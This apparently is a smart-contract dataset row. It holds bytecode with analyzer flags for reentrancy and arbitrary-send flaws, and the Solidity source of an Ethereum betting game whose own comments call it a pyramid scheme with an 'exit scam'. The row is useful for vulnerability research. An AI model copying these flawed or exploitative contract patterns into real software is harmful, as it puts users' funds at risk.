46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f357600080fd5b505afa158015610807573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082b91906117ff565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087357600080fd5b505af1158015610887573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ab91906117ff565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108db816104fc565b6000806108f06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561095357600080fd5b505af1158015610967573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098c91906119d5565b5050600f80546703782dace9d9000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a0457600080fd5b505af1158015610a18573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063f91906119a1565b6000546001600160a01b03163314610a665760405162461bcd60e51b815260040161045d90611a55565b60008111610ab65760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161045d565b610ad56103e8610acf683635c9adc5dea000008461132e565b906113ad565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b725760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045d565b6001600160a01b038216610bd35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c985760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045d565b6001600160a01b038216610cfa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045d565b60008111610d5c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045d565b6000546001600160a01b03848116911614801590610d8857506000546001600160a01b03838116911614155b15610fe957600f54600160b81b900460ff1615610e6f576001600160a01b0383163014801590610dc157506001600160a01b0382163014155b8015610ddb5750600e546001600160a01b03848116911614155b8015610df55750600e546001600160a01b03838116911614155b15610e6f57600e546001600160a01b0316336001600160a01b03161480610e2f5750600f546001600160a01b0316336001600160a01b0316145b610e6f5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161045d565b601054811115610e7e57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ec057506001600160a01b0382166000908152600a602052604090205460ff16155b610ec957600080fd5b600f546001600160a01b038481169116148015610ef45750600e546001600160a01b03838116911614155b8015610f1957506001600160a01b03821660009081526005602052604090205460ff16155b8015610f2e5750600f54600160b81b900460ff165b15610f7c576001600160a01b0382166000908152600b60205260409020544211610f5757600080fd5b610f6242603c611afa565b6001600160a01b0383166000908152600b60205260409020555b6000610f87306104fc565b600f54909150600160a81b900460ff16158015610fb25750600f546001600160a01b03858116911614155b8015610fc75750600f54600160b01b900460ff165b15610fe757610fd581611189565b478015610fe557610fe547611080565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102b57506001600160a01b03831660009081526005602052604090205460ff165b15611034575060005b611040848484846113ef565b50505050565b6000818484111561106a5760405162461bcd60e51b815260040161045d9190611a02565b5060006110778486611b51565b95945050505050565b600c546001600160a01b03166108fc61109a8360026113ad565b6040518115909202916000818181858888f193505050501580156110c2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110dd8360026113ad565b6040518115909202916000818181858888f1935050505015801561063f573d6000803e3d6000fd5b600060065482111561116c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045d565b600061117661141b565b905061118283826113ad565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111df57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123357600080fd5b505afa158015611247573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126b91906117ff565b8160018151811061128c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112b29130911684610b10565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112eb908590600090869030904290600401611a8a565b600060405180830381600087803b15801561130557600080fd5b505af1158015611319573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261133d575060006103c4565b60006113498385611b32565b9050826113568583611b12565b146111825760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045d565b600061118283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061143e565b806113fc576113fc61146c565b61140784848461148f565b80611040576110406000600855600a600955565b6000806000611428611586565b909250905061143782826113ad565b9250505090565b6000818361145f5760405162461bcd60e51b815260040161045d9190611a02565b5060006110778486611b12565b60085415801561147c5750600954155b1561148357565b60006008819055600955565b6000806000806000806114a1876115c8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114d39087611625565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115029086611667565b6001600160a01b038916600090815260026020526040902055611524816116c6565b61152e8483611710565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161157391815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006115a282826113ad565b8210156115bf57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115e58a600854600954611734565b92509250925060006115f561141b565b905060008060006116088e878787611783565b919e509c509a509598509396509194505050505091939550919395565b600061118283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611046565b6000806116748385611afa565b9050838110156111825760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045d565b60006116d061141b565b905060006116de838361132e565b306000908152600260205260409020549091506116fb9082611667565b30600090815260026020526040902055505050565b60065461171d9083611625565b60065560075461172d9082611667565b6007555050565b60008080806117486064610acf898961132e565b9050600061175b6064610acf8a8961132e565b905060006117738261176d8b86611625565b90611625565b9992985090965090945050505050565b6000808080611792888661132e565b905060006117a0888761132e565b905060006117ae888861132e565b905060006117c08261176d8686611625565b939b939a50919850919650505050505050565b80356117de81611baf565b919050565b6000602082840312156117f4578081fd5b813561118281611baf565b600060208284031215611810578081fd5b815161118281611baf565b6000806040838503121561182d578081fd5b823561183881611baf565b9150602083013561184881611baf565b809150509250929050565b600080600060608486031215611867578081fd5b833561187281611baf565b9250602084013561188281611baf565b929592945050506040919091013590565b600080604083850312156118a5578182fd5b82356118b081611baf565b946020939093013593505050565b600060208083850312156118d0578182fd5b823567ffffffffffffffff808211156118e7578384fd5b818501915085601f8301126118fa578384fd5b81358181111561190c5761190c611b99565b8060051b604051601f19603f8301168101818110858211171561193157611931611b99565b604052828152858101935084860182860187018a101561194f578788fd5b8795505b8386101561197857611964816117d3565b855260019590950194938601938601611953565b5098975050505050505050565b600060208284031215611996578081fd5b813561118281611bc4565b6000602082840312156119b2578081fd5b815161118281611bc4565b6000602082840312156119ce578081fd5b5035919050565b6000806000606084860312156119e9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2e57858101830151858201604001528201611a12565b81811115611a3f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad95784516001600160a01b031683529383019391830191600101611ab4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0d57611b0d611b83565b500190565b600082611b2d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4c57611b4c611b83565b500290565b600082821015611b6357611b63611b83565b500390565b6000600019821415611b7c57611b7c611b83565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104f957600080fd5b80151581146104f957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206ac80770e9a56c7c7c385a184e05a9c6a4356ea53e1fd7bc2a08ad43aec996d464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,101 |
0xa1de36ede424207b476c78405122beb08ac48b89
|
pragma solidity ^0.4.21;
// Fucking kek that you read the source code
// Warning this contract has an exit scam.
contract GameState{
// Vote timer / Buy in round / Lowest gas round / Close time.
uint256[3] RoundTimes = [(5 minutes), (20 minutes), (10 minutes)]; // 5 20 10
uint256[3] NextRound = [1,2,0]; // Round flow order.
// Block external calls altering the game mode.
// modifier BlockExtern(){
// require(msg.sender==caller);
// _;
// }
uint256 public CurrentGame = 0;
/// bool StartedGame = false;
uint256 public Timestamp = 0;
function Timer() internal view returns (bool){
if (block.timestamp < Timestamp){
// StartedGame = false;
return (true);
}
return false;
}
// FixTimer is only for immediate start rounds
// takes last timer and adds stuff to that
function Start() internal {
Timestamp = block.timestamp + RoundTimes[CurrentGame];
// StartedGame=true;
}
function Next(bool StartNow) internal {
uint256 NextRoundBuffer = NextRound[CurrentGame];
if (StartNow){
//Start();
// StartedGame = true;
Timestamp = Timestamp + RoundTimes[NextRoundBuffer];
}
else{
// StartedGame = false;
}
CurrentGame = NextRoundBuffer;
}
// function GameState() public {
// caller = msg.sender;
// }
// returns bit number n from uint.
//function GetByte(uint256 bt, uint256 n) public returns (uint256){
// return ((bt >> n) & (1));
// }
}
contract ServiceStation is GameState{
uint256 public Votes = 0;
uint256 public constant VotesNecessary = 6; // THIS CANNOT BE 1
uint256 public constant devFee = 500; // 5%
address owner;
// Fee address is a contract and is supposed to be used for future projects.
// You can buy a dividend card here, which gives you 10% of the development fee.
// If someone else buys it, the contract enforces you do make profit by transferring
// (part of) the cost of the card to you.
// It will also pay out all dividends if someone buys the card
// A withdraw function is also available to withdraw the dividends up to that point.
// The way to lose money with this card is if not enough dev fee enters the contract AND no one buys the card.
// You can buy it on https://etherguy.surge.sh (if this site is offline, contact me). (Or check contract address and run it in remix to manually buy.)
address constant fee_address = 0x3323075B8D3c471631A004CcC5DAD0EEAbc5B4D1;
event NewVote(uint256 AllVotes);
event VoteStarted();
event ItemBought(uint256 ItemID, address OldOwner, address NewOwner, uint256 NewPrice, uint256 FlipAmount);
event JackpotChange(uint256 HighJP, uint256 LowJP);
event OutGassed(bool HighGame, uint256 NewGas, address WhoGassed, address NewGasser);
event Paid(address Paid, uint256 Amount);
modifier OnlyDev(){
require(msg.sender==owner);
_;
}
modifier OnlyState(uint256 id){
require (CurrentGame == id);
_;
}
// OR relation
modifier OnlyStateOR(uint256 id, uint256 id2){
require (CurrentGame == id || CurrentGame == id2);
_;
}
// Thanks to TechnicalRise
// Ban contracts
modifier NoContract(){
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size == 0);
_;
}
function ServiceStation() public {
owner = msg.sender;
}
// State 0 rules
// Simply vote.
function Vote() public NoContract OnlyStateOR(0,2) {
bool StillOpen;
if (CurrentGame == 2){
StillOpen = Timer();
if (StillOpen){
revert(); // cannot vote yet.
}
else{
Next(false); // start in next lines.
}
}
StillOpen = Timer();
if (!StillOpen){
emit VoteStarted();
Start();
Votes=0;
}
if ((Votes+1)>= VotesNecessary){
GameStart();
}
else{
Votes++;
}
emit NewVote(Votes);
}
function DevForceOpen() public NoContract OnlyState(0) OnlyDev {
emit NewVote(VotesNecessary);
Timestamp = now; // prevent that round immediately ends if votes were long ago.
GameStart();
}
// State 1 rules
// Pyramid scheme, buy in for 10% jackpot.
function GameStart() internal OnlyState(0){
RoundNumber++;
Votes = 0;
// pay latest persons if not yet paid.
Withdraw();
Next(true);
TotalPot = address(this).balance;
}
uint256 RoundNumber = 0;
uint256 constant MaxItems = 11; // max id, so max items - 1 please here.
uint256 constant StartPrice = (0.005 ether);
uint256 constant PriceIncrease = 9750;
uint256 constant PotPaidTotal = 8000;
uint256 constant PotPaidHigh = 9000;
uint256 constant PreviousPaid = 6500;
uint256 public TotalPot;
// This stores if you are in low jackpot, high jackpot
// It uses numbers to keep track how much items you have.
mapping(address => bool) LowJackpot;
mapping(address => uint256) HighJackpot;
mapping(address => uint256) CurrentRound;
address public LowJackpotHolder;
address public HighJackpotHolder;
uint256 CurrTimeHigh;
uint256 CurrTimeLow;
uint256 public LowGasAmount;
uint256 public HighGasAmount;
struct Item{
address holder;
uint256 price;
}
mapping(uint256 => Item) Market;
// read jackpots
function GetJackpots() public view returns (uint256, uint256){
uint256 PotPaidRound = (TotalPot * PotPaidTotal)/10000;
uint256 HighJP = (PotPaidRound * PotPaidHigh)/10000;
uint256 LowJP = (PotPaidRound * (10000 - PotPaidHigh))/10000;
return (HighJP, LowJP);
}
function GetItemInfo(uint256 ID) public view returns (uint256, address){
Item memory targetItem = Market[ID];
return (targetItem.price, targetItem.holder);
}
function BuyItem(uint256 ID) public payable NoContract OnlyState(1){
require(ID <= MaxItems);
bool StillOpen = Timer();
if (!StillOpen){
revert();
//Next(); // move on to next at new timer;
//msg.sender.transfer(msg.value); // return amount.
//return; // cannot buy
}
uint256 price = Market[ID].price;
if (price == 0){
price = StartPrice;
}
require(msg.value >= price);
// excess big goodbye back to owner.
if (msg.value > price){
msg.sender.transfer(msg.value-price);
}
// fee -> out
uint256 Fee = (price * (devFee))/10000;
uint256 Left = price - Fee;
// send fee to fee address which is a contract. you can buy a dividend card to claim 10% of these funds, see above at "address fee_address"
fee_address.transfer(Fee);
if (price != StartPrice){
// pay previous.
address target = Market[ID].holder;
uint256 payment = (price * PreviousPaid)/10000;
target.transfer (payment);
if (target != msg.sender){
if (HighJackpot[target] >= 1){
// Keep track of how many high jackpot items we own.
// Why? Because if someone else buys your thing you might have another card
// Which still gives you right to do high jackpot.
HighJackpot[target] = HighJackpot[target] - 1;
}
}
//LowJackpotHolder = Market[ID].holder;
TotalPot = TotalPot + Left - payment;
emit ItemBought(ID, target, msg.sender, (price * (PriceIncrease + 10000))/10000, payment);
}
else{
// Keep track of total pot because we gotta pay people from this later
// since people are paid immediately we cannot read this.balance because this decreases
TotalPot = TotalPot + Left;
emit ItemBought(ID, address(0x0), msg.sender, (price * (PriceIncrease + 10000))/10000, 0);
}
uint256 PotPaidRound = (TotalPot * PotPaidTotal)/10000;
emit JackpotChange((PotPaidRound * PotPaidHigh)/10000, (PotPaidRound * (10000 - PotPaidHigh))/10000);
// activate low pot. you can claim low pot if you are not in the high jackpot .
LowJackpot[msg.sender] = true;
// Update price
price = (price * (PriceIncrease + 10000))/10000;
//
if (CurrentRound[msg.sender] != RoundNumber){
// New round reset count
if (HighJackpot[msg.sender] != 1){
HighJackpot[msg.sender] = 1;
}
CurrentRound[msg.sender] = RoundNumber;
}
else{
HighJackpot[msg.sender] = HighJackpot[msg.sender] + 1;
}
Market[ID].holder = msg.sender;
Market[ID].price = price;
}
// Round 2 least gas war
// returns: can play (bool), high jackpot (bool)
function GetGameType(address targ) public view returns (bool, bool){
if (CurrentRound[targ] != RoundNumber){
// no buy in, reject playing jackpot game
return (false,false);
}
else{
if (HighJackpot[targ] > 0){
// play high jackpot
return (true, true);
}
else{
if (LowJackpot[targ]){
// play low jackpot
return (true, false);
}
}
}
// functions should not go here.
return (false, false);
}
//
function BurnGas() public NoContract OnlyStateOR(2,1) {
bool StillOpen;
if (CurrentGame == 1){
StillOpen = Timer();
if (!StillOpen){
Next(true); // move to round 2. immediate start
}
else{
revert(); // gas burn closed.
}
}
StillOpen = Timer();
if (!StillOpen){
Next(true);
Withdraw();
return;
}
bool CanPlay;
bool IsPremium;
(CanPlay, IsPremium) = GetGameType(msg.sender);
require(CanPlay);
uint256 AllPot = (TotalPot * PotPaidTotal)/10000;
uint256 PotTarget;
uint256 timespent;
uint256 payment;
if (IsPremium){
PotTarget = (AllPot * PotPaidHigh)/10000;
if (HighGasAmount == 0 || tx.gasprice < HighGasAmount){
if (HighGasAmount == 0){
emit OutGassed(true, tx.gasprice, address(0x0), msg.sender);
}
else{
timespent = now - CurrTimeHigh;
payment = (PotTarget * timespent) / RoundTimes[2]; // calculate payment and send
HighJackpotHolder.transfer(payment);
emit OutGassed(true, tx.gasprice, HighJackpotHolder, msg.sender);
emit Paid(HighJackpotHolder, payment);
}
HighGasAmount = tx.gasprice;
CurrTimeHigh = now;
HighJackpotHolder = msg.sender;
}
}
else{
PotTarget = (AllPot * (10000 - PotPaidHigh)) / 10000;
if (LowGasAmount == 0 || tx.gasprice < LowGasAmount){
if (LowGasAmount == 0){
emit OutGassed(false, tx.gasprice, address(0x0), msg.sender);
}
else{
timespent = now - CurrTimeLow;
payment = (PotTarget * timespent) / RoundTimes[2]; // calculate payment and send
LowJackpotHolder.transfer(payment);
emit OutGassed(false, tx.gasprice, LowJackpotHolder, msg.sender);
emit Paid(LowJackpotHolder, payment);
}
LowGasAmount = tx.gasprice;
CurrTimeLow = now;
LowJackpotHolder = msg.sender;
}
}
}
function Withdraw() public NoContract OnlyStateOR(0,2){
bool gonext = false;
if (CurrentGame == 2){
bool StillOpen;
StillOpen = Timer();
if (!StillOpen){
gonext = true;
}
else{
revert(); // no cheats
}
}
uint256 timespent;
uint256 payment;
uint256 AllPot = (TotalPot * PotPaidTotal)/10000;
uint256 PotTarget;
if (LowGasAmount != 0){
PotTarget = (AllPot * (10000 - PotPaidHigh))/10000;
timespent = Timestamp - CurrTimeLow;
payment = (PotTarget * timespent) / RoundTimes[2]; // calculate payment and send
LowJackpotHolder.transfer(payment);
emit Paid(LowJackpotHolder, payment);
}
if (HighGasAmount != 0){
PotTarget = (AllPot * PotPaidHigh)/10000;
timespent = Timestamp - CurrTimeHigh;
payment = (PotTarget * timespent) / RoundTimes[2]; // calculate payment and send
HighJackpotHolder.transfer(payment);
emit Paid(HighJackpotHolder, payment);
}
// reset low gas high gas for next round
LowGasAmount = 0;
HighGasAmount = 0;
// reset market prices.
uint8 id;
for (id=0; id<MaxItems; id++){
Market[id].price=0;
}
if (gonext){
Next(true);
}
}
// this is added in case something goes wrong
// the contract can be funded if any bugs happen when
// trying to transfer eth.
function() payable{
}
}
|
0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806309d64774146100fe5780631094d009146101135780631237b2a61461013c57806321dcbbae146101655780632882ab48146101ba57806357ea89b6146101cf5780636827e764146101e45780636bf52ffa1461020d5780637e0e20ba146102225780637ea074b31461024b578063884c64401461027b5780639b49413c14610293578063ad5022a5146102fd578063b8aca90b14610326578063bfd07c381461034f578063c0cd54c6146103a4578063cab1722014610400578063e6369e4114610429575b005b341561010957600080fd5b610111610452565b005b341561011e57600080fd5b610126610525565b6040518082815260200191505060405180910390f35b341561014757600080fd5b61014f61052b565b6040518082815260200191505060405180910390f35b341561017057600080fd5b610178610531565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101c557600080fd5b6101cd610557565b005b34156101da57600080fd5b6101e2610c81565b005b34156101ef57600080fd5b6101f7610fed565b6040518082815260200191505060405180910390f35b341561021857600080fd5b610220610ff3565b005b341561022d57600080fd5b610235611116565b6040518082815260200191505060405180910390f35b341561025657600080fd5b61025e61111c565b604051808381526020018281526020019250505060405180910390f35b6102916004808035906020019091905050611173565b005b341561029e57600080fd5b6102b4600480803590602001909190505061191b565b604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b341561030857600080fd5b6103106119ba565b6040518082815260200191505060405180910390f35b341561033157600080fd5b6103396119c0565b6040518082815260200191505060405180910390f35b341561035a57600080fd5b6103626119c6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103af57600080fd5b6103db600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119ec565b6040518083151515158152602001821515151581526020019250505060405180910390f35b341561040b57600080fd5b610413611b05565b6040518082815260200191505060405180910390f35b341561043457600080fd5b61043c611b0a565b6040518082815260200191505060405180910390f35b600080339050803b915060008214151561046b57600080fd5b60008060065414151561047d57600080fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104d957600080fd5b7f89b1d6344c948134ebf34cc76a259a80dcf351c264adba174b6ccad8a7ce797d60066040518082815260200191505060405180910390a142600781905550610520611b10565b505050565b60135481565b600b5481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806000806000806000339050803b915060008214151561057b57600080fd5b60026001816006541480610590575080600654145b151561059b57600080fd5b600160065414156105cc576105ae611b6f565b9a508a15156105c6576105c16001611b8c565b6105cb565b600080fd5b5b6105d4611b6f565b9a508a15156105f4576105e76001611b8c565b6105ef610c81565b610c74565b6105fd336119ec565b809a50819b50505089151561061157600080fd5b612710611f40600b540281151561062457fe5b049750881561095057612710612328890281151561063e57fe5b0496506000601454148061065357506014543a105b1561094b5760006014541415610715577f9cf41a953680fe06556ff9e364958c3307e345521141ea993aa649830c83935760013a60003360405180851515151581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a16108fb565b601154420395506000600260038110151561072c57fe5b015486880281151561073a57fe5b049450601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f19350505050151561079f57600080fd5b7f9cf41a953680fe06556ff9e364958c3307e345521141ea993aa649830c83935760013a601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360405180851515151581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a17f737c69225d647e5994eab1a6c301bf6d9232beb2759ae1e27a8966b4732bc489601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b3a6014819055504260118190555033601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b610c73565b61271061232861271003890281151561096557fe5b0496506000601354148061097a57506013543a105b15610c725760006013541415610a3c577f9cf41a953680fe06556ff9e364958c3307e345521141ea993aa649830c83935760003a60003360405180851515151581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a1610c22565b6012544203955060006002600381101515610a5357fe5b0154868802811515610a6157fe5b049450600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501515610ac657600080fd5b7f9cf41a953680fe06556ff9e364958c3307e345521141ea993aa649830c83935760003a600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360405180851515151581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a17f737c69225d647e5994eab1a6c301bf6d9232beb2759ae1e27a8966b4732bc489600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b3a6013819055504260128190555033600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b5050505050505050505050565b6000806000806000806000806000339050803b9150600082141515610ca557600080fd5b60006002816006541480610cba575080600654145b1515610cc557600080fd5b60009a5060026006541415610cf457610cdc611b6f565b9950891515610cee5760019a50610cf3565b600080fd5b5b612710611f40600b5402811515610d0757fe5b0496506000601354141515610e4857612710612328612710038802811515610d2b57fe5b04955060125460075403985060006002600381101515610d4757fe5b0154898702811515610d5557fe5b049750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc899081150290604051600060405180830381858888f193505050501515610dba57600080fd5b7f737c69225d647e5994eab1a6c301bf6d9232beb2759ae1e27a8966b4732bc489600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1689604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b6000601454141515610f82576127106123288802811515610e6557fe5b04955060115460075403985060006002600381101515610e8157fe5b0154898702811515610e8f57fe5b049750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc899081150290604051600060405180830381858888f193505050501515610ef457600080fd5b7f737c69225d647e5994eab1a6c301bf6d9232beb2759ae1e27a8966b4732bc489601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1689604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b60006013819055506000601481905550600094505b600b8560ff161015610fcf576000601560008760ff168152602001908152602001600020600101819055508480600101955050610f97565b8a15610fe057610fdf6001611b8c565b5b5050505050505050505050565b6101f481565b6000806000339050803b915060008214151561100e57600080fd5b60006002816006541480611023575080600654145b151561102e57600080fd5b6002600654141561105957611041611b6f565b9450841561104e57600080fd5b6110586000611b8c565b5b611061611b6f565b94508415156110a7577f1ad0a1ab13806f2b802415fa49a77ed3f633af31788e4a0645de1fc90c2a0da460405160405180910390a161109e611bd5565b60006008819055505b60066001600854011015156110c3576110be611b10565b6110d6565b6008600081548092919060010191905055505b7f89b1d6344c948134ebf34cc76a259a80dcf351c264adba174b6ccad8a7ce797d6008546040518082815260200191505060405180910390a15050505050565b60145481565b6000806000806000612710611f40600b540281151561113757fe5b049250612710612328840281151561114b57fe5b04915061271061232861271003840281151561116357fe5b0490508181945094505050509091565b6000806000806000806000806000339050803b915060008214151561119757600080fd5b6001806006541415156111a957600080fd5b600b8b111515156111b957600080fd5b6111c1611b6f565b99508915156111cf57600080fd5b601560008c815260200190815260200160002060010154985060008914156111fc576611c37937e0800098505b88341015151561120b57600080fd5b88341115611256573373ffffffffffffffffffffffffffffffffffffffff166108fc8a34039081150290604051600060405180830381858888f19350505050151561125557600080fd5b5b6127106101f48a0281151561126757fe5b0497508789039650733323075b8d3c471631a004ccc5dad0eeabc5b4d173ffffffffffffffffffffffffffffffffffffffff166108fc899081150290604051600060405180830381858888f1935050505015156112c357600080fd5b6611c37937e080008914151561153a57601560008c815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695506127106119648a0281151561131d57fe5b0494508573ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f19350505050151561136057600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141515611466576001600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515611465576001600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b8487600b540103600b819055507f9c45908c2d32f0072963511b0e7c3059b0202498a9fdc83032dd440850d0c8638b873361271080612616018e028115156114aa57fe5b0489604051808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019550505050505060405180910390a161160a565b86600b5401600b819055507f9c45908c2d32f0072963511b0e7c3059b0202498a9fdc83032dd440850d0c8638b60003361271080612616018e0281151561157d57fe5b046000604051808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019550505050505060405180910390a15b612710611f40600b540281151561161d57fe5b0493507ff0bcd7e686e8281e0900908d2ba2e1c89e4b7a53ac6376e804d00e79ee29cd4c612710612328860281151561165257fe5b0461271061232861271003870281151561166857fe5b0460405180838152602001828152602001925050506040